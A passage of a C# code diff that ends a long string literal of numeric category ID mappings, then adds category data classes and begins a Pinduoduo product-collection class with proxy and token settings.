+13111,11685,11738,12363,13111 +13112,11685,11738,12363,13112 +13113,11685,11738,12363,13113 +13114,11685,11738,12363,13114 +13115,11685,11738,12363,13115 +13116,11685,11738,12363,13116 +13117,11685,11738,12363,13117 +13118,11685,11738,12363,13118 +13119,11685,11738,12363,13119 +13120,11685,11739,12375,13120 +13121,11685,11739,12375,13121 +13122,11685,11739,12375,13122 +13123,11685,11739,12375,13123 +13124,11685,11739,12375,13124 +13125,11685,11739,12375,13125 +13126,11685,11739,12375,13126 +13127,11685,11739,12375,13127 +13128,11685,11739,12375,13128 +13129,11685,11740,12390,13129 +13130,11685,11740,12390,13130 +13131,11685,11740,12390,13131 +13132,11685,11740,12390,13132 +13133,11685,11740,12390,13133 +13134,11685,11740,12390,13134 +13135,11685,11740,12390,13135 +13136,11685,11740,12390,13136 +13137,11685,11743,12434,13137 +13138,11685,11743,12434,13138 +13139,11685,11743,12434,13139 +13140,11685,11743,12434,13140 +13141,11685,11743,12434,13141 +13142,11685,11743,12434,13142 +13143,11685,11743,12434,13143 +13144,11685,11743,12434,13144 +13145,11685,11743,12434,13145 +13146,11685,11743,12434,13146 +13147,11685,11743,12436,13147 +13148,11685,11743,12436,13148 +13149,11685,11743,12436,13149 +13150,11685,11743,12436,13150 +13151,11685,11743,12436,13151 +13152,11685,11743,12436,13152 +13156,11689,11800,12588,13156 +13157,11689,11800,12588,13157 +13158,11689,11800,12588,13158 +13159,11689,11800,12588,13159 +13160,11689,11800,12588,13160 +13161,11689,11800,12588,13161 +13162,11689,11800,12588,13162 +14560,13176,13179,13781,14560 +14561,13176,13179,13781,14561 +14562,13176,13179,13781,14562 +14563,13176,13179,13783,14563 +14564,13176,13179,13783,14564 +14565,13176,13179,13783,14565 +14566,13176,13179,13791,14566 +14567,13176,13179,13791,14567 +14568,13176,13179,13791,14568 +14569,13176,13179,13791,14569 +14570,13176,13179,13791,14570 +14571,13176,13179,13793,14571 +14572,13176,13179,13793,14572 +14573,13176,13179,13793,14573 +14574,13176,13179,13793,14574 +14575,13176,13179,13793,14575 +14578,13176,13181,13836,14578 +14579,13176,13181,13836,14579 +14580,13176,13181,13836,14580 +14581,13176,13181,13836,14581 +14582,13176,13181,13836,14582 +14583,13176,13181,13836,14583 +14584,13176,13181,13836,14584 +14585,13176,13181,13836,14585 +14586,13176,13181,13837,14586 +14587,13176,13181,13837,14587 +14588,13176,13181,13837,14588 +14589,13176,13181,13837,14589 +14590,13176,13181,13837,14590 +14591,13176,13181,13837,14591 +14592,13176,13181,13837,14592 +14593,13176,13181,13837,14593 +15535,14740,14748,14832,15535 +15536,14740,14748,14832,15536 +14891,14740,14754,14881,14891 +14892,14740,14754,14881,14892 +14893,14740,14754,14881,14893 +14894,14740,14754,14881,14894 +14895,14740,14754,14881,14895 +14896,14740,14754,14881,14896 +14910,14740,14755,14903,14910 +14911,14740,14755,14903,14911 +15470,15356,15368,15447,15470 +15471,15356,15368,15447,15471 +15472,15356,15368,15447,15472 +15473,15356,15368,15447,15473 +15474,15356,15368,15456,15474 +15475,15356,15368,15456,15475 +15476,15356,15368,15459,15476 +15477,15356,15368,15459,15477 +15478,15356,15368,15459,15478 +15479,15356,15368,15459,15479 +15480,15356,15368,15459,15480 +15481,15356,15368,15459,15481 +15482,15356,15368,15461,15482 +15483,15356,15368,15461,15483 +15484,15356,15368,15461,15484 +15485,15356,15368,15461,15485 +15486,15356,15368,15461,15486 +15487,15356,15368,15461,15487 +15488,15356,15368,15461,15488 +15489,15356,15368,15461,15489 +15490,15356,15368,15461,15490 +15491,15356,15368,15461,15491 +15492,15356,15368,15461,15492 +15493,15356,15368,15461,15493 +15494,15356,15368,15461,15494 +15495,15356,15368,15461,15495 +15496,15356,15368,15461,15496 +15497,15356,15368,15461,15497 +15498,15356,15368,15461,15498 +15499,15356,15368,15461,15499 +15500,15356,15368,15461,15500 +15501,15356,15368,15465,15501 +15502,15356,15368,15465,15502 +15503,15356,15368,15465,15503 +15504,15356,15368,15465,15504 +15505,15356,15368,15465,15505 +15556,15543,15553,15554,15556 +15557,15543,15553,15554,15557 +15558,15543,15553,15554,15558 +15559,15543,15553,15554,15559 +15560,15543,15553,15554,15560 +15561,15543,15553,15554,15561 +15562,15543,15553,15554,15562 +15563,15543,15553,15555,15563 +15564,15543,15553,15555,15564 +15565,15543,15553,15555,15565 +15566,15543,15553,15555,15566 +15567,15543,15553,15555,15567 +15568,15543,15553,15555,15568 +15569,15543,15553,15555,15569 +15570,15543,15553,15555,15570 +15571,15543,15553,15555,15571 +15681,15543,15659,15674,15681 +15682,15543,15659,15674,15682 +15683,15543,15659,15674,15683 +15684,15543,15659,15674,15684 +15685,15543,15659,15674,15685 +15747,15543,15725,15744,15747 +15748,15543,15725,15744,15748 +15749,15543,15725,15744,15749 +15750,15543,15725,15744,15750 +15751,15543,15725,15744,15751 +15752,15543,15725,15744,15752 +15785,15543,15767,15770,15785 +15786,15543,15767,15770,15786 +15787,15543,15767,15770,15787 +15788,15543,15767,15770,15788 +15789,15543,15767,15770,15789 +15790,15543,15767,15770,15790 +15791,15543,15767,15770,15791 +15792,15543,15767,15770,15792 +15793,15543,15767,15770,15793 +15794,15543,15767,15770,15794 +15795,15543,15767,15770,15795 +15796,15543,15767,15770,15796 +15797,15543,15767,15770,15797 +15798,15543,15767,15770,15798 +15799,15543,15767,15770,15799 +15800,15543,15767,15771,15800 +15801,15543,15767,15771,15801 +15802,15543,15767,15771,15802 +15803,15543,15767,15771,15803 +15804,15543,15767,15771,15804 +15805,15543,15767,15771,15805 +15806,15543,15767,15771,15806 +15807,15543,15767,15771,15807 +15808,15543,15767,15771,15808 +15809,15543,15767,15771,15809 +15810,15543,15767,15772,15810 +15811,15543,15767,15772,15811 +15812,15543,15767,15772,15812 +15813,15543,15767,15772,15813 +15814,15543,15767,15772,15814 +15815,15543,15767,15772,15815 +15816,15543,15767,15773,15816 +15817,15543,15767,15773,15817 +15818,15543,15767,15773,15818 +15819,15543,15767,15776,15819 +15820,15543,15767,15776,15820 +15821,15543,15767,15776,15821 +15822,15543,15767,15776,15822 +15823,15543,15767,15776,15823 +15824,15543,15767,15776,15824 +15825,15543,15767,15776,15825 +15826,15543,15767,15776,15826 +15827,15543,15767,15776,15827 +15828,15543,15767,15776,15828 +15829,15543,15767,15779,15829 +15830,15543,15767,15779,15830 +15831,15543,15767,15779,15831 +15832,15543,15767,15779,15832 +15833,15543,15767,15779,15833 +15834,15543,15767,15779,15834 +15835,15543,15767,15779,15835 +15836,15543,15767,15779,15836 +15837,15543,15767,15779,15837 +15838,15543,15767,15779,15838 +15839,15543,15767,15779,15839 +15840,15543,15767,15779,15840 +15841,15543,15767,15779,15841 +15842,15543,15767,15779,15842 +15843,15543,15767,15779,15843 +15844,15543,15767,15779,15844 +15845,15543,15767,15779,15845 +15846,15543,15767,15779,15846 +15847,15543,15767,15781,15847 +15848,15543,15767,15781,15848 +15849,15543,15767,15781,15849 +15850,15543,15767,15781,15850 +15851,15543,15767,15781,15851 +15852,15543,15767,15781,15852 +15853,15543,15767,15783,15853 +15854,15543,15767,15783,15854 +15855,15543,15767,15783,15855 +15856,15543,15767,15783,15856 +15857,15543,15767,15783,15857 +15875,15543,15868,15872,15875 +15876,15543,15868,15872,15876 +15877,15543,15868,15872,15877 +15878,15543,15868,15872,15878 +15879,15543,15868,15872,15879 +15880,15543,15868,15872,15880 +15881,15543,15868,15874,15881 +15882,15543,15868,15874,15882 +15883,15543,15868,15874,15883 +15884,15543,15868,15874,15884 +15885,15543,15868,15874,15885 +15886,15543,15868,15874,15886 +15887,15543,15868,15874,15887 +15888,15543,15868,15874,15888 +15889,15543,15868,15874,15889 +15943,15543,15939,15940,15943 +15965,15543,15939,15940,15965 +15966,15543,15939,15940,15966 +15967,15543,15939,15940,15967 +15968,15543,15939,15940,15968 +15948,15543,15939,15941,15948 +15949,15543,15939,15941,15949 +15950,15543,15939,15941,15950 +15951,15543,15939,15941,15951 +15952,15543,15939,15941,15952 +15953,15543,15939,15941,15953 +15954,15543,15939,15941,15954 +15955,15543,15939,15941,15955 +15956,15543,15939,15941,15956 +15957,15543,15939,15941,15957 +15958,15543,15939,15941,15958 +15959,15543,15939,15941,15959 +15960,15543,15939,15941,15960 +15961,15543,15939,15941,15961 +15962,15543,15939,15941,15962 +15963,15543,15939,15941,15963 +15964,15543,15939,15941,15964 +16007,15543,15990,15996,16007 +16008,15543,15990,15996,16008 +16009,15543,15990,15996,16009 +16010,15543,15990,15996,16010 +16123,15543,16107,16114,16123 +16124,15543,16107,16114,16124 +16125,15543,16107,16114,16125 +16126,15543,16107,16114,16126 +16127,15543,16107,16114,16127 +16128,15543,16107,16114,16128 +16129,15543,16107,16114,16129 +16130,15543,16107,16114,16130 +16131,15543,16107,16114,16131 +16132,15543,16107,16114,16132 +16133,15543,16107,16114,16133 +16134,15543,16107,16114,16134 +16135,15543,16107,16114,16135 +16136,15543,16107,16114,16136 +16137,15543,16107,16114,16137 +16138,15543,16107,16114,16138 +16268,16237,16261,16262,16268 +16269,16237,16261,16262,16269 +16300,16288,16289,16298,16300 +16301,16288,16289,16298,16301 +16302,16288,16289,16298,16302 +16303,16288,16289,16298,16303 +16304,16288,16289,16298,16304 +16305,16288,16289,16298,16305 +16306,16288,16289,16298,16306 +16307,16288,16289,16298,16307 +16308,16288,16289,16298,16308 +16309,16288,16289,16298,16309 +16310,16288,16289,16298,16310 +16311,16288,16289,16299,16311 +16312,16288,16289,16299,16312 +16327,16288,16313,16318,16327 +16328,16288,16313,16318,16328 +16329,16288,16313,16318,16329 +16427,16288,16399,16407,16427 +16428,16288,16399,16407,16428 +16460,16288,16454,16458,16460 +16461,16288,16454,16458,16461 +16462,16288,16454,16458,16462 +16463,16288,16454,16458,16463 +16500,16288,16481,16497,16500 +16501,16288,16481,16497,16501 +16502,16288,16481,16497,16502 +16503,16288,16481,16497,16503 +16504,16288,16481,16497,16504 +16505,16288,16481,16497,16505 +16506,16288,16481,16497,16506 +16507,16288,16481,16497,16507 +16508,16288,16481,16497,16508 +16509,16288,16481,16497,16509 +16510,16288,16481,16497,16510 +16511,16288,16481,16497,16511 +16512,16288,16481,16497,16512 +16513,16288,16481,16497,16513 +16514,16288,16481,16497,16514 +16515,16288,16481,16497,16515 +16516,16288,16481,16497,16516 +16517,16288,16481,16497,16517 +16518,16288,16481,16497,16518 +20185,16548,16556,20184,20185 +20186,16548,16556,20184,20186 +20187,16548,16556,20184,20187 +16606,16548,16580,16588,16606 +16607,16548,16580,16588,16607 +16608,16548,16580,16596,16608 +16609,16548,16580,16596,16609 +16610,16548,16580,16596,16610 +16706,16676,16677,16681,16706 +16707,16676,16677,16681,16707 +16708,16676,16677,16682,16708 +16709,16676,16677,16682,16709 +16710,16676,16677,16682,16710 +16711,16676,16677,16682,16711 +16712,16676,16677,16684,16712 +16713,16676,16677,16684,16713 +16714,16676,16677,16684,16714 +16715,16676,16677,16684,16715 +16716,16676,16677,16686,16716 +16717,16676,16677,16686,16717 +16718,16676,16677,16686,16718 +16719,16676,16677,16686,16719 +16720,16676,16677,16692,16720 +16721,16676,16677,16692,16721 +16722,16676,16677,16692,16722 +16723,16676,16677,16703,16723 +16724,16676,16677,16703,16724 +16733,16676,16725,16726,16733 +16734,16676,16725,16726,16734 +16735,16676,16725,16726,16735 +16736,16676,16725,16726,16736 +16737,16676,16725,16726,16737 +16738,16676,16725,16726,16738 +16739,16676,16725,16726,16739 +16740,16676,16725,16726,16740 +16741,16676,16725,16726,16741 +16742,16676,16725,16726,16742 +16743,16676,16725,16726,16743 +16744,16676,16725,16727,16744 +16745,16676,16725,16727,16745 +16746,16676,16725,16727,16746 +16747,16676,16725,16727,16747 +16748,16676,16725,16727,16748 +16749,16676,16725,16727,16749 +16750,16676,16725,16727,16750 +16751,16676,16725,16727,16751 +16752,16676,16725,16727,16752 +16753,16676,16725,16727,16753 +16754,16676,16725,16727,16754 +16755,16676,16725,16727,16755 +16756,16676,16725,16727,16756 +16757,16676,16725,16727,16757 +16758,16676,16725,16729,16758 +16759,16676,16725,16729,16759 +16760,16676,16725,16729,16760 +16761,16676,16725,16729,16761 +16762,16676,16725,16729,16762 +16763,16676,16725,16729,16763 +16764,16676,16725,16729,16764 +16768,16676,16765,16766,16768 +16769,16676,16765,16766,16769 +16770,16676,16765,16766,16770 +16771,16676,16765,16766,16771 +16772,16676,16765,16766,16772 +16773,16676,16765,16766,16773 +16774,16676,16765,16766,16774 +16775,16676,16765,16766,16775 +16776,16676,16765,16766,16776 +16777,16676,16765,16766,16777 +16778,16676,16765,16766,16778 +16779,16676,16765,16766,16779 +16780,16676,16765,16766,16780 +16781,16676,16765,16767,16781 +16782,16676,16765,16767,16782 +16783,16676,16765,16767,16783 +16784,16676,16765,16767,16784 +16785,16676,16765,16767,16785 +16786,16676,16765,16767,16786 +16787,16676,16765,16767,16787 +16788,16676,16765,16767,16788 +16789,16676,16765,16767,16789 +16790,16676,16765,16767,16790 +16791,16676,16765,16767,16791 +16792,16676,16765,16767,16792 +16793,16676,16765,16767,16793 +16827,16794,16812,16814,16827 +16828,16794,16812,16814,16828 +16829,16794,16812,16816,16829 +16830,16794,16812,16816,16830 +16831,16794,16812,16816,16831 +16832,16794,16812,16816,16832 +16833,16794,16812,16817,16833 +16834,16794,16812,16817,16834 +16835,16794,16812,16817,16835 +16836,16794,16812,16817,16836 +16837,16794,16812,16817,16837 +16838,16794,16812,16817,16838 +16839,16794,16812,16817,16839 +16840,16794,16812,16817,16840 +20172,16794,16812,16817,20172 +20173,16794,16812,16817,20173 +16841,16794,16812,16819,16841 +16842,16794,16812,16819,16842 +16843,16794,16812,16820,16843 +16844,16794,16812,16820,16844 +16845,16794,16812,16820,16845 +16846,16794,16812,16821,16846 +16847,16794,16812,16821,16847 +16848,16794,16812,16821,16848 +16849,16794,16812,16821,16849 +16850,16794,16812,16821,16850 +16851,16794,16812,16821,16851 +16852,16794,16812,16821,16852 +16853,16794,16812,16821,16853 +16854,16794,16812,16821,16854 +16855,16794,16812,16821,16855 +16856,16794,16812,16821,16856 +20075,16794,16812,16821,20075 +16857,16794,16812,16822,16857 +16858,16794,16812,16822,16858 +16859,16794,16812,16822,16859 +16860,16794,16812,16822,16860 +16861,16794,16812,16823,16861 +16862,16794,16812,16823,16862 +16863,16794,16812,16823,16863 +16864,16794,16812,16823,16864 +16865,16794,16812,16825,16865 +16866,16794,16812,16825,16866 +16899,16794,16879,16896,16899 +16900,16794,16879,16896,16900 +20478,16794,16879,20477,20478 +20479,16794,16879,20477,20479 +16939,16901,16902,16925,16939 +16940,16901,16902,16925,16940 +16941,16901,16902,16925,16941 +16972,16901,16942,16947,16972 +16973,16901,16942,16947,16973 +16974,16901,16942,16956,16974 +16975,16901,16942,16956,16975 +16976,16901,16942,16961,16976 +16977,16901,16942,16961,16977 +16978,16901,16942,16962,16978 +16979,16901,16942,16962,16979 +16980,16901,16942,16962,16980 +16981,16901,16942,16962,16981 +16982,16901,16942,16962,16982 +16983,16901,16942,16962,16983 +16984,16901,16942,16965,16984 +16985,16901,16942,16965,16985 +16986,16901,16942,16965,16986 +16987,16901,16942,16965,16987 +16988,16901,16942,16965,16988 +18083,16901,18055,18058,18083 +18084,16901,18055,18058,18084 +18085,16901,18055,18058,18085 +18086,16901,18055,18058,18086 +20393,16901,18055,20392,20393 +20394,16901,18055,20392,20394 +17120,16989,16993,17018,17120 +17121,16989,16993,17018,17121 +17122,16989,16993,17018,17122 +17123,16989,16997,17054,17123 +17124,16989,16997,17054,17124 +17125,16989,16997,17054,17125 +17126,16989,16997,17054,17126 +17127,16989,16997,17054,17127 +17128,16989,16999,17066,17128 +17129,16989,16999,17066,17129 +17131,16989,16999,17066,17131 +17132,16989,16999,17066,17132 +17133,16989,16999,17066,17133 +17278,17249,17253,17277,17278 +17279,17249,17253,17277,17279 +17280,17249,17253,17277,17280 +17281,17249,17253,17277,17281 +17282,17249,17253,17277,17282 +17283,17249,17253,17277,17283 +17284,17249,17253,17277,17284 +17409,17285,17293,17370,17409 +17410,17285,17293,17370,17410 +17411,17285,17293,17370,17411 +20284,17285,17297,20283,20284 +20285,17285,17297,20283,20285 +17558,17455,17463,17518,17558 +17559,17455,17463,17518,17559 +17560,17455,17463,17518,17560 +17561,17455,17463,17518,17561 +17562,17455,17463,17518,17562 +17563,17455,17463,17518,17563 +17564,17455,17463,17518,17564 +17565,17455,17463,17518,17565 +17566,17455,17463,17518,17566 +17567,17455,17463,17519,17567 +17568,17455,17463,17519,17568 +17569,17455,17463,17519,17569 +17570,17455,17463,17519,17570 +17571,17455,17463,17519,17571 +17572,17455,17463,17519,17572 +17573,17455,17463,17519,17573 +17574,17455,17463,17519,17574 +17575,17455,17463,17519,17575 +17576,17455,17463,17520,17576 +17577,17455,17463,17520,17577 +17578,17455,17463,17520,17578 +17579,17455,17463,17520,17579 +17580,17455,17463,17520,17580 +17581,17455,17463,17520,17581 +17582,17455,17463,17520,17582 +17583,17455,17463,17520,17583 +17584,17455,17463,17520,17584 +17585,17455,17463,17521,17585 +17586,17455,17463,17521,17586 +17587,17455,17463,17521,17587 +17588,17455,17463,17521,17588 +17589,17455,17463,17521,17589 +17590,17455,17463,17521,17590 +17591,17455,17463,17521,17591 +17592,17455,17463,17521,17592 +17593,17455,17463,17521,17593 +17594,17455,17463,17524,17594 +17595,17455,17463,17524,17595 +17596,17455,17463,17524,17596 +17597,17455,17463,17524,17597 +17598,17455,17463,17524,17598 +17599,17455,17463,17524,17599 +17600,17455,17463,17524,17600 +17601,17455,17463,17524,17601 +17602,17455,17463,17524,17602 +17603,17455,17463,17525,17603 +17604,17455,17463,17525,17604 +17605,17455,17463,17525,17605 +17606,17455,17463,17525,17606 +17607,17455,17463,17525,17607 +17608,17455,17463,17525,17608 +17609,17455,17463,17525,17609 +17610,17455,17463,17525,17610 +17611,17455,17463,17525,17611 +17612,17455,17463,17527,17612 +17613,17455,17463,17527,17613 +17614,17455,17463,17527,17614 +17615,17455,17463,17527,17615 +17616,17455,17463,17527,17616 +17617,17455,17463,17527,17617 +17618,17455,17463,17527,17618 +17619,17455,17463,17527,17619 +17620,17455,17463,17527,17620 +17621,17455,17463,17529,17621 +17622,17455,17463,17529,17622 +17623,17455,17463,17529,17623 +17624,17455,17463,17529,17624 +17625,17455,17463,17529,17625 +17626,17455,17463,17529,17626 +17627,17455,17463,17529,17627 +17628,17455,17463,17529,17628 +17629,17455,17463,17529,17629 +17630,17455,17463,17530,17630 +17631,17455,17463,17530,17631 +17632,17455,17463,17530,17632 +17633,17455,17463,17530,17633 +17634,17455,17463,17530,17634 +17635,17455,17463,17530,17635 +17636,17455,17463,17530,17636 +17637,17455,17463,17530,17637 +17638,17455,17463,17530,17638 +17639,17455,17463,17531,17639 +17640,17455,17463,17531,17640 +17641,17455,17463,17531,17641 +17642,17455,17463,17531,17642 +17643,17455,17463,17531,17643 +17644,17455,17463,17531,17644 +17645,17455,17463,17531,17645 +17646,17455,17463,17531,17646 +17647,17455,17463,17531,17647 +17648,17455,17463,17533,17648 +17649,17455,17463,17533,17649 +17650,17455,17463,17533,17650 +17651,17455,17463,17533,17651 +17652,17455,17463,17533,17652 +17653,17455,17463,17533,17653 +17654,17455,17463,17533,17654 +17655,17455,17463,17533,17655 +17660,17455,17463,17534,17660 +17656,17455,17463,17535,17656 +17657,17455,17463,17535,17657 +17658,17455,17463,17535,17658 +17659,17455,17463,17535,17659 +17661,17455,17463,17535,17661 +17662,17455,17463,17535,17662 +17663,17455,17463,17535,17663 +17664,17455,17463,17536,17664 +17665,17455,17463,17536,17665 +17666,17455,17463,17536,17666 +17667,17455,17463,17536,17667 +17668,17455,17463,17536,17668 +17669,17455,17463,17536,17669 +17670,17455,17463,17536,17670 +17751,17671,17679,17707,17751 +17752,17671,17679,17707,17752 +17753,17671,17679,17707,17753 +17754,17671,17679,17707,17754 +17755,17671,17679,17709,17755 +17756,17671,17679,17709,17756 +17757,17671,17679,17709,17757 +17758,17671,17679,17709,17758 +17759,17671,17679,17709,17759 +17760,17671,17679,17709,17760 +17761,17671,17679,17709,17761 +17762,17671,17679,17709,17762 +17763,17671,17679,17709,17763 +17764,17671,17679,17709,17764 +17765,17671,17679,17709,17765 +17766,17671,17679,17709,17766 +17767,17671,17679,17709,17767 +17768,17671,17679,17709,17768 +17769,17671,17679,17709,17769 +17770,17671,17688,17728,17770 +17771,17671,17688,17728,17771 +17772,17671,17688,17728,17772 +17773,17671,17688,17739,17773 +17774,17671,17688,17739,17774 +17775,17671,17688,17739,17775 +17776,17671,17688,17739,17776 +17777,17671,17688,17739,17777 +17778,17671,17688,17739,17778 +17779,17671,17688,17739,17779 +17780,17671,17688,17742,17780 +17781,17671,17688,17742,17781 +17782,17671,17688,17742,17782 +17783,17671,17688,17742,17783 +17784,17671,17688,17742,17784 +17785,17671,17688,17742,17785 +17786,17671,17688,17742,17786 +17787,17671,17688,17742,17787 +17788,17671,17688,17742,17788 +17789,17671,17688,17742,17789 +17790,17671,17688,17742,17790 +17791,17671,17688,17743,17791 +17792,17671,17688,17743,17792 +17793,17671,17688,17743,17793 +17794,17671,17688,17744,17794 +17795,17671,17688,17744,17795 +17796,17671,17688,17744,17796 +17797,17671,17688,17746,17797 +17798,17671,17688,17746,17798 +17799,17671,17688,17746,17799 +17800,17671,17688,17748,17800 +17801,17671,17688,17748,17801 +17802,17671,17688,17748,17802 +17894,17803,17807,17839,17894 +17895,17803,17807,17839,17895 +17896,17803,17807,17839,17896 +17897,17803,17807,17839,17897 +17898,17803,17807,17839,17898 +17899,17803,17807,17839,17899 +17900,17803,17807,17839,17900 +17901,17803,17807,17839,17901 +17902,17803,17807,17839,17902 +17903,17803,17807,17839,17903 +17904,17803,17807,17839,17904 +17905,17803,17807,17839,17905 +17906,17803,17807,17839,17906 +17907,17803,17807,17839,17907 +17908,17803,17807,17839,17908 +17909,17803,17807,17839,17909 +17910,17803,17807,17839,17910 +17911,17803,17807,17839,17911 +17912,17803,17807,17839,17912 +17913,17803,17807,17839,17913 +17914,17803,17807,17839,17914 +17915,17803,17807,17839,17915 +17916,17803,17807,17839,17916 +17917,17803,17807,17839,17917 +17918,17803,17807,17839,17918 +17919,17803,17807,17839,17919 +17920,17803,17807,17856,17920 +17921,17803,17807,17856,17921 +17922,17803,17807,17856,17922 +17923,17803,17807,17856,17923 +17924,17803,17807,17856,17924 +17925,17803,17807,17856,17925 +17926,17803,17807,17856,17926 +17927,17803,17807,17856,17927 +17928,17803,17807,17856,17928 +17929,17803,17807,17856,17929 +17930,17803,17810,17883,17930 +17931,17803,17810,17883,17931 +17932,17803,17810,17883,17932 +17933,17803,17810,17883,17933 +17934,17803,17810,17883,17934 +17935,17803,17810,17883,17935 +17936,17803,17810,17883,17936 +17937,17803,17810,17883,17937 +17938,17803,17810,17883,17938 +17939,17803,17810,17883,17939 +17940,17803,17810,17884,17940 +17941,17803,17810,17884,17941 +17942,17803,17810,17884,17942 +17943,17803,17810,17884,17943 +17944,17803,17810,17884,17944 +17945,17803,17810,17884,17945 +17946,17803,17810,17884,17946 +17947,17803,17810,17884,17947 +17948,17803,17810,17884,17948 +17949,17803,17810,17885,17949 +17950,17803,17810,17885,17950 +17951,17803,17810,17885,17951 +17952,17803,17810,17885,17952 +17953,17803,17810,17885,17953 +17954,17803,17810,17885,17954 +17955,17803,17810,17885,17955 +17956,17803,17810,17885,17956 +17957,17803,17810,17885,17957 +17958,17803,17810,17885,17958 +17959,17803,17810,17885,17959 +17960,17803,17810,17885,17960 +17961,17803,17810,17886,17961 +17962,17803,17810,17886,17962 +17963,17803,17810,17886,17963 +17964,17803,17810,17886,17964 +17965,17803,17810,17886,17965 +17966,17803,17810,17886,17966 +17967,17803,17810,17886,17967 +17968,17803,17810,17886,17968 +17969,17803,17810,17886,17969 +17970,17803,17810,17886,17970 +17971,17803,17810,17886,17971 +17972,17803,17810,17886,17972 +17973,17803,17810,17886,17973 +17974,17803,17810,17887,17974 +17975,17803,17810,17887,17975 +17976,17803,17810,17887,17976 +17977,17803,17810,17887,17977 +17978,17803,17810,17887,17978 +17979,17803,17810,17887,17979 +17980,17803,17810,17887,17980 +17981,17803,17810,17887,17981 +17982,17803,17810,17887,17982 +17983,17803,17810,17887,17983 +17984,17803,17810,17887,17984 +17985,17803,17810,17887,17985 +17986,17803,17810,17887,17986 +17987,17803,17810,17887,17987 +17988,17803,17810,17888,17988 +17989,17803,17810,17888,17989 +17990,17803,17810,17888,17990 +17991,17803,17810,17888,17991 +17992,17803,17810,17888,17992 +17993,17803,17810,17888,17993 +17994,17803,17810,17888,17994 +17995,17803,17810,17888,17995 +17996,17803,17810,17888,17996 +17997,17803,17810,17888,17997 +17998,17803,17810,17888,17998 +17999,17803,17810,17888,17999 +18000,17803,17810,17888,18000 +18001,17803,17810,17888,18001 +18002,17803,17810,17888,18002 +18003,17803,17810,17888,18003 +18004,17803,17810,17888,18004 +18005,17803,17811,17889,18005 +18006,17803,17811,17889,18006 +18007,17803,17811,17889,18007 +18008,17803,17811,17889,18008 +18009,17803,17811,17889,18009 +18010,17803,17811,17890,18010 +18011,17803,17811,17890,18011 +18012,17803,17811,17890,18012 +18013,17803,17811,17890,18013 +18014,17803,17811,17890,18014 +18015,17803,17811,17890,18015 +18016,17803,17811,17890,18016 +18017,17803,17811,17890,18017 +18018,17803,17811,17890,18018 +18019,17803,17811,17890,18019 +18020,17803,17811,17890,18020 +18021,17803,17811,17890,18021 +18022,17803,17811,17890,18022 +18023,17803,17811,17891,18023 +18024,17803,17811,17891,18024 +18025,17803,17811,17891,18025 +18026,17803,17811,17891,18026 +18027,17803,17811,17891,18027 +18028,17803,17811,17891,18028 +18029,17803,17811,17891,18029 +18030,17803,17811,17891,18030 +18031,17803,17811,17891,18031 +18033,17803,17811,17891,18033 +18034,17803,17811,17891,18034 +18755,17803,17811,17891,18755 +18035,17803,17811,17892,18035 +18036,17803,17811,17892,18036 +18038,17803,17811,17892,18038 +18039,17803,17811,17892,18039 +18040,17803,17811,17892,18040 +18041,17803,17811,17892,18041 +18042,17803,17811,17893,18042 +18043,17803,17811,17893,18043 +18044,17803,17811,17893,18044 +18045,17803,17811,17893,18045 +18046,17803,17811,17893,18046 +18047,17803,17811,17893,18047 +18048,17803,17811,17893,18048 +18049,17803,17811,17893,18049 +18120,18088,18096,18116,18120 +18121,18088,18096,18117,18121 +18122,18088,18096,18117,18122 +18123,18088,18096,18117,18123 +18124,18088,18097,18118,18124 +18125,18088,18097,18118,18125 +18126,18088,18097,18119,18126 +20324,18270,20321,20323,20324 +20325,18270,20321,20323,20325 +20326,18270,20321,20323,20326 +20327,18270,20321,20323,20327 +18527,18482,18511,18518,18527 +18528,18482,18511,18518,18528 +18529,18482,18511,18518,18529 +18530,18482,18511,18526,18530 +18531,18482,18511,18526,18531 +18532,18482,18511,18526,18532 +18533,18482,18511,18526,18533 +18881,18814,18857,18880,18881 +18882,18814,18857,18880,18882 +18883,18814,18857,18880,18883 +18884,18814,18857,18880,18884 +18885,18814,18857,18880,18885 +18892,18814,18857,18891,18892 +18893,18814,18857,18891,18893 +18894,18814,18857,18891,18894 +18895,18814,18857,18891,18895 +18896,18814,18857,18891,18896 +18897,18814,18857,18891,18897 +18898,18814,18857,18891,18898 +18935,18814,18857,18934,18935 +18936,18814,18857,18934,18936 +18937,18814,18857,18934,18937 +18945,18814,18857,18944,18945 +18946,18814,18857,18944,18946 +18947,18814,18857,18944,18947 +18948,18814,18857,18944,18948 +18952,18814,18857,18951,18952 +18953,18814,18857,18951,18953 +18954,18814,18857,18951,18954 +18955,18814,18857,18951,18955 +18956,18814,18857,18951,18956 +18962,18814,18857,18961,18962 +18963,18814,18857,18961,18963 +18964,18814,18857,18961,18964 +18965,18814,18857,18961,18965"; + #endregion + } + + public class MainCatBase + { + public int Id = 0; + public string Name = ""; + public List Cats = new List(); + } + + public class CatBase + { + public int id = 0; + public int parent_id = 0; + public int main_cat_id = 0; + public int cat1 = 0; + public int cat2 = 0; + public int cat3 = 0; + public int cat4 = 0; + public string cat4_name = ""; + public string cat3_name = ""; + public string cat2_name = ""; + public string cat1_name = ""; + public string name = ""; + public List Cats = new List(); + } +} diff --git a/Work/CollectClass/PinduoduoProductCollect.cs b/Work/CollectClass/PinduoduoProductCollect.cs new file mode 100644 index 0000000..b316fe5 --- /dev/null +++ b/Work/CollectClass/PinduoduoProductCollect.cs @@ -0,0 +1,2916 @@ +using AllBase; +using AllBase.Helper; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using Work.Api; +using Work.ManageClass; + +namespace Work.CollectClass +{ + public class PinduoduoProductCollect + { + public TaobaoProductBase Product; + public bool IsOverdue = false; + public static List TempIds = new List(); + public static List DeleteIds = new List(); + public ProductCollectBase pb = new ProductCollectBase(); + public static List Mobiles = new List(); + public string Name, TempHtml = ""; + public bool NoAdd = false, Cloud = false, OnSale = true; + public int MainCatId = 0; + public string message = ""; + public static Dictionary dic = new Dictionary(); + public static List PinDuoDuoTokenList = new List(); + public static bool isProxyAvailable = true; + public bool IsUseProxy = true; + public static string proxymessage = ""; + public bool isUseCache = true; + private static int count = 0; + private static bool isCheckProxy = false; + public bool isSearchUp = false; + public bool IsNoToken = false; + public bool IsAdvance = false; + private static Dictionary DicApiUid = new Dictionary(); + public PinduoduoProductCollect(string name, TaobaoProductBase product) + { + Name = name; + Product = product; + } + + public PinduoduoProductCollect(string name, TaobaoProductBase product, bool isUseProxy) + { + Name = name; + Product = product; + IsUseProxy = isUseProxy; + } + + public void Get() + { + try + { + Getx(); + } + 